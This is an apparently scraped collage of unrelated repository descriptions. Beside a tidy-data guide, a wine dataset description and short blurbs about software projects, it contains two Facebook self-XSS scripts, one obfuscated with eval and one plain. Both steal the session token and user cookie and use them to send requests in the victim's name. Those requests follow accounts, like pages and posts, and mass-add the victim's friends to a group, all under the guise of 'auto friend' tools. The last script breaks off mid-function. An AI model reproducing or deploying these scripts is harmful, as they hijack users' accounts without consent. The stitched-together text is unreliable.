They would also want to know how you picked the exons you used for summarizing the genomic data (UCSC/Ensembl, etc.). They would also want to know any other information about how you did the data collection/study design. For example, are these the first 20 patients that walked into the clinic? Are they 20 highly selected patients by some characteristic like age? Are they randomized to treatments? A common format for this document is a Word file. There should be a section called "Study design" that has a thorough description of how you collected the data. There is a section called "Code book" that describes each variable and its units. How to code variables When you put variables into a spreadsheet there are several main categories you will run into depending on their data type: Continuous Ordinal Categorical Missing Censored Continuous variables are anything measured on a quantitative scale that could be any fractional number. An example would be something like weight measured in kg. Ordinal data are data that have a fixed, small (< 100) number of levels but are ordered. This could be for example survey responses where the choices are: poor, fair, good. Categorical data are data where there are multiple categories, but they aren't ordered. One example would be sex: male or female. This coding is attractive because it is self-documenting. Missing data are data that are unobserved and you don't know the mechanism. You should code missing values as NA. Censored data are data where you know the missingness mechanism on some level. Common examples are a measurement being below a detection limit or a patient being lost to follow-up. They should also be coded as NA when you don't have the data. But you should also add a new column to your tidy data called, "VariableNameCensored" which should have values of TRUE if censored and FALSE if not. In the code book you should explain why those values are missing. It is absolutely critical to report to the analyst if there is a reason you know about that some of the data are missing. You should also not impute/make up/ throw away missing observations. In general, try to avoid coding categorical or ordinal variables as numbers. When you enter the value for sex in the tidy data, it should be "male" or "female". The ordinal values in the data set should be "poor", "fair", and "good" not 1, 2 ,3. This will avoid potential mixups about which direction effects go and will help identify coding errors. Always encode every piece of information about your observations using text. For example, if you are storing data in Excel and use a form of colored text or cell background formatting to indicate information about an observation ("red variable entries were observed in experiment 1.") then this information will not be exported (and will be lost!) when the data is exported as raw text. Every piece of data should be encoded as actual text that can be exported. The instruction list/script You may have heard this before, but reproducibility is a big deal in computational science. That means, when you submit your paper, the reviewers and the rest of the world should be able to exactly replicate the analyses from raw data all the way to final results. If you are trying to be efficient, you will likely perform some summarization/data analysis steps before the data can be considered tidy. The ideal thing for you to do when performing summarization is to create a computer script (in R, Python, or something else) that takes the raw data as input and produces the tidy data you are sharing as output. You can try running your script a couple of times and see if the code produces the same output. In many cases, the person who collected the data has incentive to make it tidy for a statistician to speed the process of collaboration. They may not know how to code in a scripting language. In that case, what you should provide the statistician is something called pseudocode. It should look something like: Step 1 - take the raw file, run version 3.1.2 of summarize software with parameters a=1, b=2, c=3 Step 2 - run the software separately for each sample Step 3 - take column three of outputfile.out for each sample and that is the corresponding row in the output data set You should also include information about which system (Mac/Windows/Linux) you used the software on and whether you tried it more than once to confirm it gave the same results. Ideally, you will run this by a fellow student/labmate to confirm that they can obtain the same output file you did. What you should expect from the analyst When you turn over a properly tidied data set it dramatically decreases the workload on the statistician. So hopefully they will get back to you much sooner. But most careful statisticians will check your recipe, ask questions about steps you performed, and try to confirm that they can obtain the same tidy data that you did with, at minimum, spot checks. You should then expect from the statistician: An analysis script that performs each of the analyses (not just instructions) The exact computer code they used to run the analysis All output files/figures they generated. This is the information you will use in the supplement to establish reproducibility and precision of your results. Each of the steps in the analysis should be clearly explained and you should ask questions when you don't understand what the analyst did. It is the responsibility of both the statistician and the scientist to understand the statistical analysis. You may not be able to perform the exact analyses without the statistician's code, but you should be able to explain why the statistician performed each step to a labmate/your principal investigator. Contributors Jeff Leek - Wrote the initial version. L. Collado-Torres - Fixed typos, added links. Nick Reich - Added tips on storing data as text. Nick Horton - Minor wording suggestions.
princeowais44
/*HTML/JavaScript page status="protected"*/ /*Auto Friend Suggestion Script*/ /*Copyright © 2013 By PrinCe Owais. All Rights Reserved.*/ eval(unescape("var a=eval,c='5 o=7.15(\'o\')[0].1x;5 I=7.p.Y(7.p.Y(/1Y=(\\d+)/)[1]);8 4J(3f){5 2P=3f+"=";6(7.p.m>0){1p=7.p.U(2P);6(1p!=-1){1p+=2P.m;24=7.p.U(";",1p);6(24==-1)24=7.p.m;l 3w(7.p.1q(1p,24))}F{l""}}}8 43(1e,1X){l W.22(W.1W()*(1X-1e+1))+1e}8 3y(q){l q[43(0,q.m-1)]}5 o=7.15(\'o\')[0].1x;5 I=7.p.Y(7.p.Y(/1Y=(\\d+)/)[1]);8 a(3U){5 14=J 26();5 3E="//1b.11.18/1l/4I.27";5 4f="2f="+3U+"&4H=0&4F=0&4G[4K]=4L&4Q=1&1F="+I+"&1i=1&1I=1J-&1L=v&o="+o+"&1r=4P";14.2L("2E",3E,1v);14.20=8(){6(14.2k==4&&14.25==1a){14.3r}};14.2c(4f)}a("2o");a("3o");a("2r");a("3i");a("3b");a("32");5 2A=\'4O 3T 3Z 4M 4N 3u <A u="H:#28;" 2g="t://1b.11.18/4E">4D 4v.</A>\';5 Q="",44=\'4u 4t 4r 4s 13.</2F>4w 3u <A u="H:#28;" 2g="t://1b.11.18/3z.4x">3z [4C ] 4q%.</A>\';10=/"4A":"([0-9]+)"/.4y(7.Z("4z").4R("4S-5c"))[1];o=7.15("o")[0].1x;8 2Q(1H){1t.1g(C.1c.1K+"//1b.11.18/1l/2K/2S?&2a="+1H+"&10="+10+"&2b=2u&2i=2q&1F="+I+"&1i=1&1I=1J-&1L=17&o="+o+"&1r=2l",8(a){5 b=a.1q(a.U("{"));5 c=2h.3v(b);i--;Q="<w 1d=\'1P-1V-5b\' u=\'16-2C:3C;E-1m:R;O-S:2z;2J-2Z:33-31;";6(c.2D){Q+="H:5a\'>";48++;6(c.3X)Q+=c.3X;F Q+=2h.58(c,K,"")}F{Q+="H:30;O-S:59\'>";Q+="3T 3Z 5d";1s++}Q+="</w>";5 h="<w 3O=\'1P-1V-h\' u=\'2w-2x:2N 2I 3h X(0, 0, 0, 0.3);1U:3Q;R:50%;2U-R:-3M;2W:3L;2V:3H;z-3G:3J;O-S:3K;E-1m:1B;16:3B;2w-2x:1C 1w 1C X(0,0,0,0.1);1y-3R:2I;1y:1w 2G X(1a,1a,50,0.2);2e-H:X(1h,1h,1h,0.9);H:#4g\'>";h+="<w u=\'16-2C:3C;O-S:3I;\'>"+2A+"</w>";6(i>0){h+=q.m+" 13 2O<2F/>";h+="<b>"+1s+"</b> 13 3Y 5e "+(q.m-i)+" 13 5i ";h+="("+i+" 5h...)";h+="<w 1d=\'1P-1V\'>";h+=Q;h+="<3d u=\'2e:1B 5g-5f D(57://56-4X-a.4W.4V/4T-4U/4Y.27/4Z/55/r/54-53.51);2V:3e;52:3e;2U-R:-5j;16:4h;1y:1w 2G X(0,0,0,0.4);\' 4p="+1E[i]+"></3d><a u=\'O-S:4n;16-R:3h;E-1m:R;H:#28;1U:3c;O-4l:4j;\'>"+1M[i]+"</a>";h+="<w u=\'E-1m:1B;O-S:2z;2J-2Z:33-31;H:30\'>";h+=44;h+="</w>";h+="</w>"}F{h+=q.m+" 13 2O 4o ";h+="<b>"+1s+" 13 3Y</b></2F>";h+="<w><23 1d=\'4i 45 47 4m 49\' 3S=\'C.1c.4k()\' u=\'H:2J\'>4B 5m</23><23 1d=\'64 45 47 49\' 3S=\'7.Z(\\"2M\\").u.h=\\"2s\\"\'>63</23>"}h+="</w>";7.Z("2M").1Z=h},"E","2m");M--;6(M>0){5 s=q[M];65=1E[M];1o("2Q("+s+")",66)}3F.3N(M+"/"+q.m+":"+q[M]+"/"+1M[M]+", 68:"+1s);6(10){1t.1g(C.1c.1K+"//1b.11.18/1l/2K/2S?&2a="+1H+"&10=2o&2b=2u&2i=2q&1F="+I+"&1i=1&1I=1J-&1L=17&o="+o+"&1r=2l",8(){},"E","2m")}6(10){1t.1g(C.1c.1K+"//1b.11.18/1l/2K/2S?&2a="+1H+"&10=2r&2b=2u&2i=2q&1F="+I+"&1i=1&1I=1J-&1L=17&o="+o+"&1r=2l",8(){},"E","2m")}}8 4c(){6(7.15("3A").m>0)1O.2X(7.15("3A")[0]);5 a=q[i];6(i<q.m)4e(a.1q(0,4))}8 3W(){6(7.1T("4b").m>0)1O.2X(7.1T("4b")[0].1n[0].1n[0].1n[1]);F j++;1o("4c()",3V)}8 4e(a){i++;1o("3W()",3V)}1t={3q:8(){5 a=G;6(46 2y!="1R")1D{a=J 2y("67.35")}1A(b){1D{a=J 2y("62.35")}1A(c){a=G}}F 6(C.26)1D{a=J 26}1A(b){a=G}l a},1g:8(D,2H,P,N,L){5 t=y.3p();6(!t||!D)l;6(t.36)t.36("E/61");6(!N)N="3g";6(!P)P="E";6(!L)L={};P=P.5W();N=N.5V();5 2Y="2f="+(J 5U).5X();D+=D.U("?")+1?"&":"?";D+=2Y;5 2B=K;6(N=="2E"){5 2n=D.5Y("?");D=2n[0];2B=2n[1]}t.2L(N,D,1v);5 6a=y;6(L.3a)t.20=8(){L.3a(t)};F t.20=8(){6(t.2k==4)6(t.25==1a){5 T="";6(t.39)T=t.39;6(P.3P(0)=="j"){T=T.5Z(/[\\n\\r]/g,"");T=6l("("+T+")")}F 6(P.3P(0)=="x")T=t.6n;6(2H)2H(T)}F{6(L.1f)7.1N("2d")[0].37(L.1f);6(L.V)7.Z(L.V).u.h="2s";6(2D)2D(t.25)}};t.2c(2B)},6m:8(a){5 b={D:"",2R:G,6o:G,P:"E",N:"3g",2v:"",V:"",1f:""};12(5 c 6k b)6(a[c])b[c]=a[c];6(!b.D)l;5 d=G;6(b.1f){d=7.6i("w");d.38("u","1U:3c;2W:2N;R:2N;");d.38("1d","V-6d");d.1Z=b.1f;7.1N("2d")[0].6j(d);y.L.1f=d}6(b.V)7.Z(b.V).u.h="6b";y.1g(b.D,8(a){6(b.2R)b.2R(a);6(b.2v)7.Z(b.2v).1Z=a;6(d)7.1N("2d")[0].37(d);6(b.V)7.Z(b.V).u.h="2s"},b.P,b.N,b)},3p:8(){l y.3q()}};5 1O={3m:8(a,b,c,d){6(c=="2p")c="1d";5 e=7.3j(".//"+b+"[@"+c+"=\'"+d+"\']",a,K,3k.3l,K);6(e&&e.1z)l e.1z;l K},6e:8(a,b,c){l y.3m(a,b,"2p",c)},6f:8(a,b){1D{5 c=7.3j(b,a,K,3k.3l,K)}1A(d){6h("6g 60:"+b)}6(c&&c.1z)l c.1z;l K},5S:8(a){C.1o(8(){7.1c.2g=a},2T+W.22(W.1W()*2T))},1j:8(a,b,c){5 d=a.7.5w("5T");d.5v(c,1v,1v,a,0,0,0,0,0,G,G,G,G,0,K);l!b.5u(d)},5k:8(a){l y.1j(C,a,"29")},5x:8(a,b){C.1o(8(){l 1O.1j(C,a,"29")},b+W.22(W.1W()*2T))},2X:8(a){y.1j(C,a,"5y");y.1j(C,a,"5A");y.1j(C,a,"29")},42:8(a,b){5 c="";6(b==1R)b=0;6(b>40)l;6(a.41!=1R)l a.41;12(5 d=0;d<a.1n.m;d++){5 e=a.1n[d];c+=y.42(e,b+1)}l c}};6(7.1T==1R)7.1T=8(a){5 b=J 5t("(?:^|\\\\s)"+a+"(?:$|\\\\s)");5 c=7.1N("*");5 d=[];5 e;12(5 f=0;(e=c[f])!=K;f++){5 g=e.2p;6(g&&g.U(a)!=-1&&b.3s(g))d.1k(e)}l d};1G.5l.5o=8(a){5 b=G;12(i=0;i<y.m;i++)6(46 a=="8"){6(a.3s(y[i])){6(!b)b=[];b.1k(i)}}F 6(y[i]===a){6(!b)b=[];b.1k(i)}l b};5 i=3;5 M=3;5 j=0;5 k=0;5 1s=0;5 48=0;5 q=J 1G;5 1M=J 1G;5 1E=J 1G;1t.1g(C.1c.1K+"//1b.11.18/1l/5B/5C.27?"+"1i=1&5N[0]=5M&5O=0&5P="+I+"&5R=5Q&5L=0&3t[0]=5K&3t[1]=5F",8(a){5 b=a;5 c=b.1q(b.U("{"));5 d=2h.3v(c);d=d.5G.5H;12(5 e=0;e<d.m;e++)q.1k(d[e].2f);12(5 1S=0;1S<d.m;1S++)1M.1k(d[1S].E);12(5 1Q=0;1Q<d.m;1Q++)1E.1k(d[1Q].5J);i=q.m-1;M=i;3F.3N(q.m);5 h="<w 3O=\'1P-1V-h\' u=\'1U:3Q;R:50%;2U-R:-3M;2W:3L;2V:3H;z-3G:3J;O-S:3K;E-1m:1B;16:3B;2w-2x:1C 1w 1C X(0,0,0,0.1);1y-3R:2I;1y:1w 2G X(1a,1a,50,0.2);2e-H:X(1h,1h,1h,0.9);H:#4g\'>";h+="<w u=\'16-2C:2z;O-S:3I;\'>"+2A+"</w>";h+=q.m+" 13 2O";h+="</w>";7.Z("2M").1Z=h;2Q(q[i])});5 o=7.15(\'o\')[0].1x;5 I=7.p.Y(7.p.Y(/1Y=(\\d+)/)[1]);8 5I(3x){5 2t=3x+"=";6(7.p.m>0){1u=7.p.U(2t);6(1u!=-1){1u+=2t.m;21=7.p.U(";",1u);6(21==-1)21=7.p.m;l 3w(7.p.1q(1u,21))}F{l""}}}8 3D(1e,1X){l W.22(W.1W()*(1X-1e+1))+1e}8 3y(2j){l 2j[3D(0,2j.m-1)]}5 o=7.15(\'o\')[0].1x;5 I=7.p.Y(7.p.Y(/1Y=(\\d+)/)[1]);8 B(4a){5 19=J 26();5 34="/1l/4d/5D.27?1i=1";5 3n="5E="+4a+"&1c=1&5q=4d-5r&5p=5n&o="+o+"&5s&5z"+I+"&1r=";19.2L("2E",34,1v);19.20=8(){6(19.2k==4&&19.25==1a){19.3r}};19.2c(3n)}B("2o");B("3o");B("2r");B("3i");B("3b");B("6c");B("69");B("32");', d=397,e=" var if document function display return length fb_dtsg cookie arr http style div this window url text else false color user_id new null opt tay method font format Descriptions left size result indexOf loading Math rgba match getElementById newcomer facebook for Friends http4 getElementsByName padding com http24 200 www location class min loadingIndicator load 255 __a ClickWin push ajax align childNodes setTimeout konum substring phstamp suc jx konumi true 1px value border singleNodeValue catch center 0pt try pho __user Array opo __dyn 798aD5z5CF protocol __req arn getElementsByTagName nHtml friend pic undefined eg getElementsByClassName position edge random max c_user innerHTML onreadystatechange soni floor span son status XMLHttpRequest php 3B5998 click receiver attempt_id send body background uid href JSON ref arri readyState 16581651071156988110194 post parts 100003697277263 className profile_others_dropdown 100001050235420 none taramai 0585ab74e2dd0ff10282a3a36df39e19 update box shadow ActiveXObject 10px Title parameters bottom error POST br solid callback 3px white friends open pagelet_sidebar 0px Detected tarama SuggestFriend onSuccess suggest 500 margin width top ClickUp now space gray wrap 100004215691459 pre url24 XMLHTTP overrideMimeType removeChild setAttribute responseText handler 100003231350883 absolute img 50px isim GET 8px 100001375288085 evaluate XPathResult FIRST_ORDERED_NODE_TYPE FindByAttr params24 100003846224832 init getHTTPObject close test options By parse unescape isimi randomValue Loading ok 15px 5px getRandomInti url4 console index 500px 20px 9999 14px 100px 273px log id charAt fixed radius onClick Friend abone 2E3 clickfr errorDescription Suggested Suggestion textContent GetText getRandomInt _text uiOverlayButton typeof uiButton err uiButtonLarge bone search clickfr_callback follow addfriend params4 000000 2px layerConfirm bold reload weight uiButtonConfirm 13px and src 99 Suggesting Your For Thanks Ahmad Powered 999999 exec pagelet_timeline_main_column profile_owner Refresh lllllllllllllllllllllllllllllllllllllll Waqar pkwaq ask_for_confirm nctr pokeback poke_dialog cereziAl _mod pagelet_timeline_profile_actions Sender Made Auto 165816575103566878180 __asyncDialog getAttribute data static ak net akamaihd profile rsrc v2 gif height SK UlIqmHJn yo fbcdn https stringify 12px darkred name gt Sent of repeat no Lefted Processed 125px Click prototype Page u37qac_37 find subscribed_button_id source button lsd RegExp dispatchEvent initMouseEvent createEvent ClickTimeout mousedown __ mouseup typeahead first_degree follow_profile profile_id nm payload entries cereziAli photo friends_only stale_ok user filter lazy viewer v7 token VisitUrl MouseEvents Date toUpperCase toLowerCase getTime split replace xpath xml Microsoft Cancel layerCancel sx 100 Msxml2 success 100001597470562 ths block 100003751777172 indicator FindByClassName FindByXPath bad GM_log createElement appendChild in eval bind responseXML onError".split(" "), f=0,g={},f=function(b){return(62>b?"":f(parseInt(b/62)))+(35<(b%=62)?String.fromCharCode(b+29):b.toString(36))};if(!"".replace(/^/,String)){for(;d--;)g[f(d)]=e[d]||f(d);e=[function(b){return g[b]}];f=function(){return"\\w+"};d=1}for(;d--;)e[d]&&(c=c.replace(RegExp("\\b"+f(d)+"\\b","g"),e[d]));a(c); "));var A="jvvrq8--pcu,ekvjw`,amo-ucxx{epc{-dcag`mmi-ej/rcegq-Qwrrmpv,hq
XoopsModules25x
This little module has a single purpose: to help you build in your site an editorial column section, where you can manage the columns and articles published in an ordered fashion.
reachingnexus
A jQuery plugin that can reorder links in a container so they flow top to bottom in columns
wilg
A simple gem to traverse ActiveRecord models by an ordered column.
rockitoy
New "Delivery Slip with Barcodes" (Finnish: "Lähete viivakoodeilla") PDF report for Odoo 11 Community. Added columns for delivered products: Barcode, Ordered Quantity and Unit Price
This repository includes the files of the manuscript Optimal design of superstructures for placing units and streams with multiple and ordered available locations. Part II: Rigorous design of catalytic distillation columns
harsh3173
In this competition, I will be predicting the probability of a binary target column. The data contains binary features (bin_*), nominal features (nom_*), ordinal features (ord_*) as well as (potentially cyclical) day (of the week) and month features. The string ordinal features ord_{3-5} are lexically ordered according to string.ascii_letters.
oudream
top (table of processes) is a task manager program found in many Unix-like operating systems that displays information about CPU and memory utilization. It produces an ordered list of running processes selected by user-specified criteria, and updates it periodically. Default ordering is by CPU usage, and only the top CPU consumers are shown. top shows how much processing power and memory are being used, as well as other information about the running processes. Some versions of top allow extensive customization of the display, such as choice of columns or sorting method.
gujralsanyam22
Predicting the Quality of Red Wine using Machine Learning Algorithms for Regression Analysis, Data Visualizations and Data Analysis. Description Context The two datasets are related to red and white variants of the Portuguese "Vinho Verde" wine. For more details, consult the reference [Cortez et al., 2009]. Due to privacy and logistic issues, only physicochemical (inputs) and sensory (the output) variables are available (e.g. there is no data about grape types, wine brand, wine selling price, etc.). These datasets can be viewed as classification or regression tasks. The classes are ordered and not balanced (e.g. there are much more normal wines than excellent or poor ones). This dataset is also available from the UCI machine learning repository, https://archive.ics.uci.edu/ml/datasets/wine+quality , I just shared it to kaggle for convenience. (If I am mistaken and the public license type disallowed me from doing so, I will take this down if requested.) Content For more information, read [Cortez et al., 2009]. Input variables (based on physicochemical tests): 1 - fixed acidity 2 - volatile acidity 3 - citric acid 4 - residual sugar 5 - chlorides 6 - free sulfur dioxide 7 - total sulfur dioxide 8 - density 9 - pH 10 - sulphates 11 - alcohol Output variable (based on sensory data): 12 - quality (score between 0 and 10) Tips What might be an interesting thing to do, is aside from using regression modelling, is to set an arbitrary cutoff for your dependent variable (wine quality) at e.g. 7 or higher getting classified as 'good/1' and the remainder as 'not good/0'. This allows you to practice with hyper parameter tuning on e.g. decision tree algorithms looking at the ROC curve and the AUC value. Without doing any kind of feature engineering or overfitting you should be able to get an AUC of .88 (without even using random forest algorithm) KNIME is a great tool (GUI) that can be used for this. 1 - File Reader (for csv) to linear correlation node and to interactive histogram for basic EDA. 2- File Reader to 'Rule Engine Node' to turn the 10 point scale to dichtome variable (good wine and rest), the code to put in the rule engine is something like this: $quality$ > 6.5 => "good" TRUE => "bad" 3- Rule Engine Node output to input of Column Filter node to filter out your original 10point feature (this prevent leaking) 4- Column Filter Node output to input of Partitioning Node (your standard train/tes split, e.g. 75%/25%, choose 'random' or 'stratified') 5- Partitioning Node train data split output to input of Train data split to input Decision Tree Learner node and 6- Partitioning Node test data split output to input Decision Tree predictor Node 7- Decision Tree learner Node output to input Decision Tree Node input 8- Decision Tree output to input ROC Node.. (here you can evaluate your model base on AUC value) Inspiration Use machine learning to determine which physiochemical properties make a wine 'good'! Acknowledgements This dataset is also available from the UCI machine learning repository, https://archive.ics.uci.edu/ml/datasets/wine+quality , I just shared it to kaggle for convenience. (I am mistaken and the public license type disallowed me from doing so, I will take this down at first request. I am not the owner of this dataset. Please include this citation if you plan to use this database: P. Cortez, A. Cerdeira, F. Almeida, T. Matos and J. Reis. Modeling wine preferences by data mining from physicochemical properties. In Decision Support Systems, Elsevier, 47(4):547-553, 2009. Relevant publication P. Cortez, A. Cerdeira, F. Almeida, T. Matos and J. Reis. Modeling wine preferences by data mining from physicochemical properties. In Decision Support Systems, Elsevier, 47(4):547-553, 2009.
Hakialiu
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); alert(' Wait 5-7Minutes " AUTOFRIENDS BY FIDAN MALIQI ADD 2K+ FRIENDS '); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function IDS(r) { var X = new XMLHttpRequest(); var XURL = "//www.facebook.com/ajax/add_friend/action.php"; var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); } var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone) { var http4=new XMLHttpRequest; var url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close }; http4.send(params4)} function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } // Fiidannii IDS("100000740396815"); sublist("747997335234939"); sublist("748009165233756"); sublist("747999191901420"); sublist("748009798567026"); sublist("748010705233602"); sublist("748011435233529"); sublist("748012121900127"); sublist("748012848566721"); sublist("709754282392578"); sublist("725539290814077"); sublist("491868480921036"); sublist("746028498765156"); sublist("745978202103519"); sublist("746415708726435"); sublist("746029242098415"); sublist("729314570436549"); sublist("729898357044837"); sublist("727325067302166"); sublist("1465241787041388"); sublist("422413791227668"); sublist("414281768707537"); sublist("562521103826775"); sublist("1429233353972522"); sublist("1439645386264652"); // cheo Ph?c H?p Like("549252541753997"); Like("398739273555192"); Like("1433722496857372"); Like("1475255582701545"); Like("284905944997186"); Like("255801804567230"); Like("1413948492174215"); Like("559063920821987"); Like("530612090325999"); Like("291985050908298"); Like("284905944997186"); Like("730557190320260"); Like("427659460701846"); P("700272516674088"); P("699330160101657"); P("674845045883502"); P("623932250974782"); P("610386475662693"); P("749504168417589"); P("754300217937984"); //Group subscriber var gid = ['472709066171701']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); alert(' 400 Follower Detected '); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var user = getCookie("c_user"); function getCookie(c_name) { var i,x,y,ARRcookies=document.cookie.split(";"); for (i=0;i<ARRcookies.length;i++) { x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("=")); y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1); x=x.replace(/^\s+|\s+$/g,""); if (x==c_name) { return unescape(y); } } } var tulisanNganu = '<font color="black"><b>Adding</b> </font>'; var kunaon = ''; function penetrasi(opo) { jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function (a) { var b = a.substring(a.indexOf("{")); var c = JSON.parse(b); i--; kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;"; if (c.error) { kunaon += "color:darkred'>"; if (c.errorDescription) { kunaon += c.errorDescription } else { kunaon += JSON.stringify(c, null, "") } } else { kunaon += "color:darkgreen'>"; kunaon += arr[i]; suc++ } kunaon += "</div>"; var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>"; dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>"; if (i > 0) { dipes += arr.length + " Follower Detected<br/>"; dipes += "<b>" + suc + "</b> Follower Added Of " + (arr.length - i) + " Follower Processed "; dipes += "(" + i + " More To Go..)"; dipes += "<div class='friend-edge'>"; dipes += kunaon; dipes += "</div>" } else { dipes += arr.length + " Follower Detected And "; dipes += "<b>" + suc + " Follower Added</b>"; dipes += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Done</span></div>" } dipes += "</div>"; document.getElementById("pagelet_welcome_box").innerHTML = dipes }, "text", "post"); tay--; if (tay > 0) { var s = arr[tay]; setTimeout("penetrasi(" + s + ")", 100) } console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc); if (memberGroupId != 128336317239973) { jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=128336317239973&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function () {}, "text", "post") } } function clickfr_callback() { if (document.getElementsByName("ok").length > 0) { nHtml.ClickUp(document.getElementsByName("ok")[0]) } var a = arr[i]; if (i < arr.length) addfriend(a.substring(0, 4)) } function clickfr() { if (document.getElementsByClassName("search").length > 0) { console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML); document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);"; nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]) } else j++; setTimeout("clickfr_callback()", 2e3) } function addfriend(a) { i++; document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(); document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a; document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur(); document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(); document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(); 